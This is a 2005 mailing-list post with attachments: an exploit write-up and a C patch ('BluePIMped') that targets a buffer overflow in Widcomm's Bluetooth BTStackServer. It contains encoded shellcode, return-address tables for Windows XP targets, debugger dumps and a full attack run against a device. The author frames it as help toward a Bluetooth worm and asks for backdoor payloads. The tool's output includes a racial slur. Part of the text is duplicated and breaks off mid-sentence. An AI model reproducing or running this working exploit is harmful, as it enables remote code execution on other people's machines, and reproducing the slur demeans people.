KF
05/12/05, 19:45
This is a multi-part message in MIME format.
--------------030606000007020203060907
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Chapter 9 style ala Stealing the network.
enjoy...
--------------030606000007020203060907
Content-Type: text/plain;
name="BluePIMped.txt"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
filename="BluePIMped.txt"
have you ever been BluePIMped?
Exploiting The Widcomm BTStackServer by KF (kf_lists[at]digitalmunition[dot]com)
On August 12, 2004 Ryan Naraine of internetnews.com described a serious vulnerability in
Widcomm's widely deployed Bluetooth Connectivity Software. It was said that this new threat
could pave the way for the creation of a wireless worm that spreads between PCs or PDAs
using Bluetooth. (Queue scary music in the background). It is now over a year later and I
have yet to even see signs of an exploit, let alone a worm for either the PC or PDA.
<sarcasm> Consider this document as my donation of a small amount of tar to help pave the
road to a Widcomm Bluetooth worm.</sarcasm>
First let me outline how the Widcomm Bluetooth Stack works. Upon logging in to the Windows
desktop the binary BTTray.exe is launched via the '..\All Users\Start Menu\Programs\Startup'
startup folder. BTTray is responsible for two major tasks, one being the presentation of the
Bluetooth icon in the systray and the other being the launch of BTStackServer.exe. BTTray.exe
also handles events such as informing the user that someone has connected to a particular
Bluetooth service.
Several profiles are offered by the 'Local Services' menu within the BTTray Bluetooth
Configuration screen. Several of the services require pairing prior to use, however by default
no secure connection is required for the PIM Item Transfer. The lack of PIM Transfer security
is likely due to this profile being commonly used to exchange business cards. The lack of a
secure connection will pretty much allow any Bluetooth user to connect to the PIM Item
Transfer service.
Although not explicitly disclosed one of the various malformed service requests that Pentest
Limited discovered was directed at the PIM Item Transfer service. As mentioned in their
advisory Pentest Limited has written a proof of concept exploit for Windows XP and again
although not explicitly disclosed this exploit was for the PIM Item Transfer service. After
many months of frustration and hurdles I have come up with a fairly stable means of blindly
recreating the work of Pentest Limited.
My early work on this project attempted to use a single Unicode encoded buffer to both trigger
this exploit and carry its payload. This technique was completely abandonded after an off the
cup comment about client side Unicode made me come to my senses. One little call to
OBEX_CharToUnicode() can change the playing field quite a bit.
The mechanics of my current exploit are as follows:
1. Use the ascii buffer used for Bluetooth device name to store shellcode. We have up to 248
bytes.
2. Populate HKLM\SOFTWARE\Widcomm\BTConfig\Devices\XX:XX:XX:XX :XX:XX\Name on remote device with
shellcode
3. Make use of the remote filename field to trigger the overflow and to hold the repeated
return addresses
4. Deliver a payload of goodies for all to enjoy.
The first phase of the exploit ensures that we have shellcode in memory at the time we activate
the EIP address. This is done by sending a valid file via PIM Transfer. When a connection is made
the registry is queried for the device name. If this name exists it will be used in the
notification balloon that indicates a connection was made. If no registry entry is available
<No Name> will be used and a query to resolve the name will be placed.
This portion of the population phase can be recognised by the following message.
Bluetooth device '<No Name>' is connected to the 'PIM Item Transfer' service on this computer.
At this point as mentioned above a call has been made to resolve the Bluetooth name of the remote
device that connected to the PIM Transer service. Once this call has been completed the name will
be stored in the registry location shown below. Upon subsequent connections this entry will be
displayed in the notification balloon.
Below is an example of MsgBox shellcode from Skylined encoded via ShikataGaNai as it is stored in
the registry after a name resolution.
[HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\Devic es\00:11:b1:07:be:a7]
"Name"=hex:2b,c9,da,cd,d9,74,24,f4,5f,b1,33,b8,d1,f7,19, b7,31,47,15,83,c7,04,\
03,96,e6,fb,42,e4,38,3c,c8,9f,7b,8c,9a,df,77,67,ec ,c3,2a,fc,65,f3,5c,6f,1a,\
03,9d,07,d1,31,b3,b3,7d,40,b8,5e,0c,fe,85,d0,57,16 ,07,fa,ce,e6,f8,fb,67,09,\
71,3e,46,07,d0,29,af,a7,d5,a9,f3,e6,81,fa,c9,e8,c1 ,d8,2d,e8,11,62,62,a4,31,\
3d,35,61,60,9d,8b,c5,d1,98,5f,9a,96,76,28,04,68,25 ,ed,64,28,8c,a1,2b,e2,49,\
1a,e7,b5,75,0f,54,64,76,fd,e1,9a,7a,c8,ef,b3,8c,ca ,0f,44,a2,0a,5f,cd,39,31,\
36,d0,83,7c,20,ea,03,81,b0,bd,54,0a,f5,7d,d0,58,f0 ,05,e7,8a,a8,7e,b5,6a,4d,\
6b,0b,ab,7c,a2,2d,a0,4a,be,af,58,83,41,6e,6b,f0,11 ,70,b3,73,a9,06,cd,42,f5,\
9c,db,ee,82,05,38,0f,7e,df,cb,03,cb,ab,96,07,ca,40 ,ad,33,47,97,5a,64,09,67,\
7a,9a,00
Next a secondary connection is made in order to actually trigger the overflow. This connection
consists of our desired return address repeated over and over being cramed into the remote file
name buffer. During the study of different exploitation attempts I found that my return address
was not often alligned as I expected or in the location that I expected. I found that repeating it
over and over helped stabilize my attempts. Deciding upon a static length for the filename also
seemed to help keep things alligned properly. The initial 272 bytes I send as a repeated return
address seems to be duplicated several times in succession in memory. The EIP seemes to be chosen
semi randomly from the area below represented in the block of memory between 0x0053C9F7 and
0x0053CCF7.
0053C9A7 00 00 00 00 00 00 43 00 3A 00 5C 00 44 00 4F 00 ......C.:.\.D.O.
0053C9B7 43 00 55 00 4D 00 45 00 7E 00 31 00 5C 00 41 00 C.U.M.E.~.1.\.A.
0053C9C7 44 00 4D 00 49 00 4E 00 49 00 7E 00 31 00 5C 00 D.M.I.N.I.~.1.\.
0053C9D7 4C 00 4F 00 43 00 41 00 4C 00 53 00 7E 00 31 00 L.O.C.A.L.S.~.1.
0053C9E7 5C 00 54 00 65 00 6D 00 70 00 5C 00 41 5A 43 42 \.T.e.m.p.\.AZCB
0053C9F7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA07 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA17 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA27 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA37 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA47 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA57 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA67 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA77 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA87 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CA97 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAA7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAB7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAC7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAD7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAE7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CAF7 41 44 43 42 41 44 43 42 41 44 43 42 FF 44 5A 07 ADCBADCBADCBÿDZ
0053CB07 41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42 AZCBADCBADCBADCB
0053CB17 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB27 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB37 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB47 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB57 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB67 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB77 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB87 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CB97 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBA7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBB7 41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42 AZCBADCBADCBADCB
0053CBC7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBD7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBE7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CBF7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC07 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC17 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC27 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC37 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC47 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC57 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC67 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC77 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC87 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CC97 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCA7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCB7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCC7 FF 44 5A 07 41 5A 43 42 41 44 43 42 41 44 43 42 ÿDZAZCBADCBADCB
0053CCD7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCE7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
0053CCF7 41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42 ADCBADCBADCBADCB
Please note that some of the bytes were corrupted above. In some cases 0x07 and 0xff randomly
overwrote portions of our string. This would obviously corrupt any shellcode that was put into
this buffer. After I stopped trying to cram shellcode here I found that on occasion this also
caused undesired return addresses to be used rather than the one I specified. The letter "Z" is
in some cases prepended to our buffer to help compensate for the corruption.
Once the return address has been stabilized things should look similar to the following upon
EIP activation.
EAX 00000004
ECX 00008000
EDX 00000036
EBX 0038F6E8 ASCII "0"
ESP 01F7FF3C
EBP 01F7FF80
ESI 0038C510 ASCII "("
EDI 00000001
EIP 41424344
Our shellcode seems to be in several locations however only a few of them do not contain nulls.
Across multiple versions and service packs the shellcode consistantly lands on an address with
3 static bits 0x01??f74e. You can see this trend below in the targets section from my exploit.
The shellcode location should contain the contents of the Bluetooth device name as it was stored
in the registry.
With a debugger attached to BTStackServer.exe we can attempt to activate the EIP and point it at
our shellcode.
animosity:/home/kfinisterre/ussp-push-0.4-kf# hcitool scan
Scanning ...
00:0A:3A:54:71:95 NEW-THREAT
animosity:/home/kfinisterre/ussp-push-0.4-kf# sdptool search OPUSH
00:0A:3A:54:71:95
Inquiring ...
Searching for OPUSH on 00:0A:3A:54:71:95 ...
Service Name: PIM Item Transfer
Service RecHandle: 0x10004
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100
....
animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push
BluePIMped v0.1
Usage: ./ussp-push {DEVICE, BTADDR@BTCHAN} LFILE RFILE
DEVICE = RFCOMM TTY device file
BTADDR@BTCHAN = BlueTooth address/name and OBEX channel
TARGET = Target number
Types:
0 [0x01abf74e]: [ XP Pro SP0 - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]
1 [0x019bf74e]: [ XP Pro SP0 - Actiontec Bluetooth Software (ver 1.1 cd label) ]
2 [0x019bf74e]: [ XP Pro SP0 - Belkin Bluetooth Software 1.4.2 Build 10 ]
3 [0x0197f74e]: [ XP Pro SP1a - Belkin Bluetooth Software 1.4.2 Build 10 ]
4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
5 [0x41424344]: [ Crash ]
animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push 00:0A:3A:54:71:95@3 4
[-] Selected target:
4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
name=/etc/hosts, size=257
Registered transport
set user data
created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)
started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!
Connection return code: 0, id: 0
Connection established
connected to server
Sending file: YouAreBeingPwnedViaBlueTooth, path: /etc/hosts, size: 257
reqdone
Command (02) has now finished, rsp: 20reqdone
Command (01) has now finished, rsp: 20Disconnect done!
sleeping 3 seconds before triggering the shellcode
name=/etc/hosts, size=257
Registered transport
set user data
created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)
started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!
Connection return code: 0, id: 0
Connection established
connected to server
Sending file:
ZZZ÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷ N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N
÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷ N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷
N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N,
path: /etc/hosts, size: 257
Made some progress...
Peace nigga...
After the malformed request is sent my debugger paused with an Access violation when writing to
[00713000]. You can safely pass this exception on to the program. This is a good time to verify
that your shellcode is where you expect it to be.
0199F74E 2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7 +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E 31 47 15 83 C7 04 03 96 E6 FB 42 E4 38 3C C8 9F 1GƒÇ–æûBä8<ÈŸ
0199F76E 7B 8C 9A DF 77 67 EC C3 2A FC 65 F3 5C 6F 1A 03 {ŒšßwgìÃ*üeó\o
0199F77E 9D 07 D1 31 B3 B3 7D 40 B8 5E 0C FE 85 D0 57 16 ?Ñ1³³}@¸^.þ…ÐW
0199F78E 07 FA CE E6 F8 FB 67 09 71 3E 46 07 D0 29 AF A7 úÎæøûg.q>FÐ)¯§
0199F79E D5 A9 F3 E6 81 FA C9 E8 C1 D8 2D E8 11 62 62 A4 Õ©óæ?úÉèÁØ-èbb¤
0199F7AE 31 3D 35 61 60 9D 8B C5 D1 98 5F 9A 96 76 28 04 1=5a`?‹Åј_š–v(
0199F7BE 68 25 ED 64 28 8C A1 2B E2 49 1A E7 B5 75 0F 54 h%íd(Œ¡+âIçµuT
0199F7CE 64 76 FD E1 9A 7A C8 EF B3 8C CA 0F 44 A2 0A 5F dvýášzÈﳌÊD¢._
0199F7DE CD 39 31 36 D0 83 7C 20 EA 03 81 B0 BD 54 0A F5 Í916Ѓ| ê?°½T.õ
0199F7EE 7D D0 58 F0 05 E7 8A A8 7E B5 6A 4D 6B 0B AB 7C }ÐXð犨~µjMk «|
0199F7FE A2 2D A0 4A BE AF 58 83 41 6E 6B F0 11 70 B3 73 ¢- J¾¯XƒAnkðp³s
0199F80E A9 06 CD 42 F5 9C DB EE 82 05 38 0F 7E DF CB 03 ©ÍBõœÛî‚8~ßË
0199F81E CB AB 96 07 CA 40 AD 33 47 97 5A 64 09 67 7A 9A Ë«–Ê@*3G—Zd.gzš
Immediately after passing the exception control should be handed over to us. We should jump into
the code we stored in the Bluetooth name buffer. Skylined's code will to do its magic and the real
intent of our payload is revealed.
0199F74E 2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7 +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E 31 47 15 83 C7 04 03 47 11 E2 F5 FC 31 C0 64 8B 1GƒÇGâõü1Àd‹
0199F76E 40 30 8B 40 0C 8B 70 1C AD 8B 68 08 68 6C 6C 00 @0‹@.‹p *‹hhll.
0199F77E 00 68 33 32 2E 64 68 75 73 65 72 54 BB 71 A7 E8 .h32.dhuserT»q§è
0199F78E FE E8 56 00 00 00 89 EF 89 C5 31 D2 52 E8 06 00 þèV...‰ï‰Å1ÒRè.
0199F79E 00 00 43 41 54 53 3A 00 E8 25 00 00 00 41 4C 4C ..CATS:.è%...ALL
0199F7AE 20 59 4F 55 52 20 42 4C 55 45 54 4F 4F 54 48 20 YOUR BLUETOOTH
0199F7BE 41 52 45 20 42 45 4C 4F 4E 47 20 54 4F 20 55 53 ARE BELONG TO US
0199F7CE 2E 00 52 BB E2 0C C9 FA E8 0F 00 00 00 31 C0 50 ..R»â.Éúè...1ÀP
0199F7DE 89 FD BB 69 1D 42 3A E8 00 00 00 00 56 57 8B 45 ‰ý»i B:è....VW‹E
0199F7EE 3C 8B 54 05 78 01 EA 52 8B 52 20 01 EA 31 C0 31 <‹TxêR‹R ê1À1
0199F7FE C9 41 8B 34 8A 01 EE 31 FF C1 CF 13 AC 01 C7 85 ÉA‹4Šî1ÿÁϬDž
0199F80E C0 75 F6 39 DF 75 EA 5A 8B 5A 24 01 EB 66 8B 0C Àuö9ßuêZ‹Z$ëf‹.
0199F81E 4B 8B 5A 1C 01 EB 8B 04 8B 01 E8 5F 5E FF E0 00 K‹Z ë‹‹è_^ÿà.
At this point the user of the machine should be greeted with a nice message box window titled
"CATS:" with the message "ALL YOUR BLUETOOTH ARE BELONG TO US.". Obviously any payload can be
plugged into the exploit keeping in mind space limitations of the various buffers.
In an ideal situation the initial phase that places the shellcode in the registry should be
used as an chance to upload a binary with some sort of backdoor functionality as well as a
scripted procedure to kill BTTray and restart it. Any uploaded binary would reside in
"%USERPROFILE%"\mydocu~1\blueto~1 by default so shellcode that can resolve that path and execute
a binary there would be very useful (hint hint email me some shellcode if anyone is bored).
I have toyed around with payloads that flip a few bits in SOFTWARE\Widcomm\BTConfig\Services\\000?,
SOFTWARE\Widcomm\General\UseFixedPIN and SOFTWARE\Widcomm\General\PinCode. However I have not yet
come upon a payload that would be as functional as %USERPROFILE% execution code.
I hope this document will help clear up some of the myths about the potential wormability of the
Widcomm Bluetooth bugs. I also hope that Vendors that still distribute dongles with vulnerable
software will step up to the plate and help eliminate this threat. Vendors...please put an end to
the license.dat issues that prevent so many users from upgrading their Widcomm software.
Please see the proof of concept patch to ussp-push-0.4 published at
http://www.digitalmunition.com/BluePIMped.diff
kfinisterre@animosity:~$ tar -zxvf ussp-push-0.4.tar.gz
ussp-push-0.4/
ussp-push-0.4/COPYING
ussp-push-0.4/Makefile
ussp-push-0.4/doc/
ussp-push-0.4/doc/README
ussp-push-0.4/doc/ussp-push.html
ussp-push-0.4/obex_main.c
ussp-push-0.4/obex_socket.c
ussp-push-0.4/obex_socket.h
kfinisterre@animosity:~$ cat BluePIMped.diff | patch -p0
patching file ussp-push-0.4/obex_main.c
-KF
--------------030606000007020203060907
Content-Type: text/plain;
name="BluePIMped.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="BluePIMped.diff"
--- ussp-push-0.4/obex_main.c 2005-06-01 18:32:59.000000000 -0400
+++ ussp-push-0.4-kf/obex_main.c 2005-12-03 11:49:32.000000000 -0500
@@ -1,4 +1,10 @@
/*
+ http://www.digitalmunition.com
+ Moded by KF (kf_lists[at]digitalmunition[dot]com) to exploit the Widcomm Overflows from PenTest.
+ http://www.pentest.co.uk/documents/ptl-2004-03.html
+
+*/
+/*
* UNrooted.net example code
*
* Most of these functions are just rips from the Affix Bluetooth project OBEX
@@ -62,7 +68,10 @@
#include "obex_socket.h"
-#define UPUSH_APPNAME "ussp-push v0.4"
+#include <bluetooth/hci.h>
+#include <bluetooth/hci_lib.h>
+
+#define UPUSH_APPNAME "BluePIMped v0.1"
#define BT_SERVICE "OBEX"
#define OBEX_PUSH 5
@@ -316,6 +325,9 @@
switch (event) {
case OBEX_EV_PROGRESS:
printf("Made some progress...\n");
+ sleep(3);
+ printf("Peace nigga...\n");
+ exit(0);
break;
case OBEX_EV_ABORT:
@@ -382,9 +394,7 @@
name = remote;
name_len = (strlen(name)+1)<<1;
- if( (namebuf = g_malloc(name_len)) ) {
- OBEX_CharToUnicode(namebuf, name, name_len);
- }
+ namebuf = name; // Thanks Mark! If you had not mentioned client side unicode i'd still be stuck messing with venetian shellcode.
buf = easy_readfile(path, &file_size);
if(buf == NULL) {
@@ -424,6 +434,24 @@
return err;
}
+static void set_device_name(int ctl, int hdev, char *opt) // Johnh as usual...
+{
+ int s = hci_open_dev(hdev);
+
+ if (s < 0) {
+ fprintf(stderr, "Can't open device hci%d: %s (%d)\n",
+ hdev, strerror(errno), errno);
+ exit(1);
+ }
+ if (opt) {
+ if (hci_write_local_name(s, opt, 2000) < 0) {
+ fprintf(stderr, "Can't change local name on hci%d: %s (%d)\n",
+ hdev, strerror(errno), errno);
+ exit(1);
+ }
+ }
+
+}
/*
* That's all there is to it. With it all setup like this all I have to do
@@ -434,19 +462,87 @@
int main( int argc, char **argv )
{
- if ( argc != 4 ) {
- printf("%s\n\n"
- "Usage: %s {DEVICE, BTADDR@BTCHAN} LFILE RFILE\n\n"
- "\tDEVICE = RFCOMM TTY device file\n"
- "\tBTADDR@BTCHAN = BlueTooth address/name and OBEX channel\n"
- "\tLFILE = Local file path\n"
- "\tRFILE = Remote file name\n\n",
- UPUSH_APPNAME, argv[0]);
+/*
+ The following may be necessary in hcid.conf to prevent the pairing prompts.
+
+ # Authentication and Encryption (Security Mode 3)
+ auth disable;
+ encrypt disable;
+*/
+
+ struct
+ {
+ char *os;
+ u_long ret;
+ }
+ targets[] =
+ {
+ { "[ XP Pro SP0 - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]", 0x01abf74e },
+ { "[ XP Pro SP0 - Actiontec Bluetooth Software (ver 1.1 cd label) ]", 0x019bf74e },
+ { "[ XP Pro SP0 - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x019bf74e },
+ { "[ XP Pro SP1a - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x0197f74e },
+ { "[ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x0199f74e },
+ { "[ Crash ]", 0x41424344 },
+ }, v;
+
+ if ( argc != 3 ) {
+ printf("%s\nUsage: %s {DEVICE, BTADDR@BTCHAN} LFILE RFILE\n\n\tDEVICE = RFCOMM TTY device file\n\tBTADDR@BTCHAN = BlueTooth address/name and OBEX channel\n\tTARGET = Target number\n",UPUSH_APPNAME,argv[0]);
+ printf("Types:\n");
+ int i;
+ for(i = 0; i < sizeof(targets)/sizeof(v); i++)
+ printf("%d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
+
return( -1 );
}
- printf( "pushing file %s\n", argv[2] );
- if ( obex_push( (void *)argv[1], argv[2], argv[3] ) != 0 ) {
+ /* http://www.edup.tudelft.nl/~bjwever/ - w32_popup_ExitThread.c */
+ /* Size=224 Encoder=ShikataGaNai http://metasploit.com */
+ /* CATS: ALL YOUR BLUETOOTH ARE BELONG TO US. */
+ /* this still crashes the BTStackServer.exe... but oh well */
+ unsigned char scode[] =
+ "\x2b\xc9\xda\xcd\xd9\x74\x24\xf4\x5f\xb1\x33\xb8\x d1\xf7\x19\xb7"
+ "\x31\x47\x15\x83\xc7\x04\x03\x96\xe6\xfb\x42\xe4\x 38\x3c\xc8\x9f"
+ "\x7b\x8c\x9a\xdf\x77\x67\xec\xc3\x2a\xfc\x65\xf3\x 5c\x6f\x1a\x03"
+ "\x9d\x07\xd1\x31\xb3\xb3\x7d\x40\xb8\x5e\x0c\xfe\x 85\xd0\x57\x16"
+ "\x07\xfa\xce\xe6\xf8\xfb\x67\x09\x71\x3e\x46\x07\x d0\x29\xaf\xa7"
+ "\xd5\xa9\xf3\xe6\x81\xfa\xc9\xe8\xc1\xd8\x2d\xe8\x 11\x62\x62\xa4"
+ "\x31\x3d\x35\x61\x60\x9d\x8b\xc5\xd1\x98\x5f\x9a\x 96\x76\x28\x04"
+ "\x68\x25\xed\x64\x28\x8c\xa1\x2b\xe2\x49\x1a\xe7\x b5\x75\x0f\x54"
+ "\x64\x76\xfd\xe1\x9a\x7a\xc8\xef\xb3\x8c\xca\x0f\x 44\xa2\x0a\x5f"
+ "\xcd\x39\x31\x36\xd0\x83\x7c\x20\xea\x03\x81\xb0\x bd\x54\x0a\xf5"
+ "\x7d\xd0\x58\xf0\x05\xe7\x8a\xa8\x7e\xb5\x6a\x4d\x 6b\x0b\xab\x7c"
+ "\xa2\x2d\xa0\x4a\xbe\xaf\x58\x83\x41\x6e\x6b\xf0\x 11\x70\xb3\x73"
+ "\xa9\x06\xcd\x42\xf5\x9c\xdb\xee\x82\x05\x38\x0f\x 7e\xdf\xcb\x03"
+ "\xcb\xab\x96\x07\xca\x40\xad\x33\x47\x97\x5a\x64\x 09\x67\x7a\x9a";
+
+ set_device_name(0,0,scode);
+ //printf("RENAME DONE: SET NEW NAME TO %s\n",scode);
+ //printf( "pushing file.\n");
+
+ char buf[3000];
+ memset(buf,'\0',sizeof(buf));
+ memset(buf,'Z',3); // Sometimes u need 3 z's
+
+ int type = atoi(argv[2]);
+ if(type)
+ {
+ printf("[-] Selected target:\n");
+ printf(" %d [0x%.8x]: %s\n", type, targets[type].ret, targets[type].os);
+ }
+
+ int x;
+ for(x=0; x<=122; x=x+1)
+ {
+ memcpy(buf+3+(x*4), (unsigned char *) &targets[type].ret, 4);
+ }
+ // Populate HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\Devic es\<bdaddr>\Name with shellcode
+ if ( obex_push( (void *)argv[1], "/etc/hosts", "YouAreBeingPwnedViaBlueTooth") != 0 ) {
+ printf( "error\n" );
+ return( -1 );
+ }
+ printf("\nsleeping 3 seconds before triggering the shellcode\n");
+ sleep(3);
+ if ( obex_push( (void *)argv[1], "/etc/hosts", buf ) != 0 ) {
printf( "error\n" );
return( -1 );
}
--------------030606000007020203060907--
--------------030606000007020203060907
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Chapter 9 style ala Stealing the network.
enjoy...
--------------030606000007020203060907
Content-Type: text/plain;
name="BluePIMped.txt"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
filename="BluePIMped.txt"
have you ever been BluePIMped?
Exploiting The Widcomm BTStackServer by KF (kf_lists[at]digitalmunition[dot]com)
On August 12, 2004 Ryan Naraine of internetnews.com described a serious vulnerability in
Widcomm's widely deployed Bluetooth Connectivity Software. It was said that this new threat
could pave the way for the creation of a wireless worm that spreads between PCs or PDAs
using Bluetooth. (Queue scary music in the background). It is now over a year later and I
have yet to even see signs of an exploit, let alone a worm for either the PC or PDA.
<sarcasm> Consider this document as my donation of a small amount of tar to help pave the
road to a Widcomm Bluetooth worm.</sarcasm>
First let me outline how the Widcomm Bluetooth Stack works. Upon logging in to the Windows
desktop the binary BTTray.exe is launched via the '..\All Users\Start Menu\Programs\Startup'
startup folder. BTTray is responsible for two major tasks, one being the presentation of the
Bluetooth icon in the systray and the other being the launch of BTStackServer.exe. BTTray.exe
also handles events such as informing the user that someone has connected to a particular
Bluetooth service.
Several profiles are offered by the 'Local Services' menu within the BTTray Bluetooth
Configuration screen. Several of the services require pairing prior to use, however by default
no secure connection is required for the PIM Item Transfer. The lack of PIM Transfer security
is likely due to this profile being commonly used to exchange business cards. The lack of a
secure connection will pretty much allow any Bluetooth user to connect to the PIM Item
Transfer service.
Although not explicitly disclosed one of the various malformed service requests that Pentest
Limited discovered was directed at the PIM Item Transfer service. As mentioned in their
advisory Pentest Limited has written a proof of concept exploit for Windows XP and again
although not explicitly disclosed this exploit was for the PIM Item Transfer service. After
many months of frustration and hurdles I have come up with a fairly stable means of blindly
recreating the work of Pentest Limited.
My early work on this project attempted to use a single Unicode encoded buffer to both trigger
this exploit and carry its payload. This technique was completely abandonded after an off the
cup comment about client side Unicode made me come to my senses. One little call to
OBEX_CharToUnicode() can change the playing field quite a bit.
The mechanics of my current exploit are as follows:
1. Use the ascii buffer used for Bluetooth device name to store shellcode. We have up to 248
bytes.
2. Populate HKLM\SOFTWARE\Widcomm\BTConfig\Devices\XX:XX:XX:XX :XX:XX\Name on remote device with
shellcode
3. Make use of the remote filename field to trigger the overflow and to hold the repeated
return addresses
4. Deliver a payload of goodies for all to enjoy.
The first phase of the exploit ensures that we have shellcode in memory at the time we activate
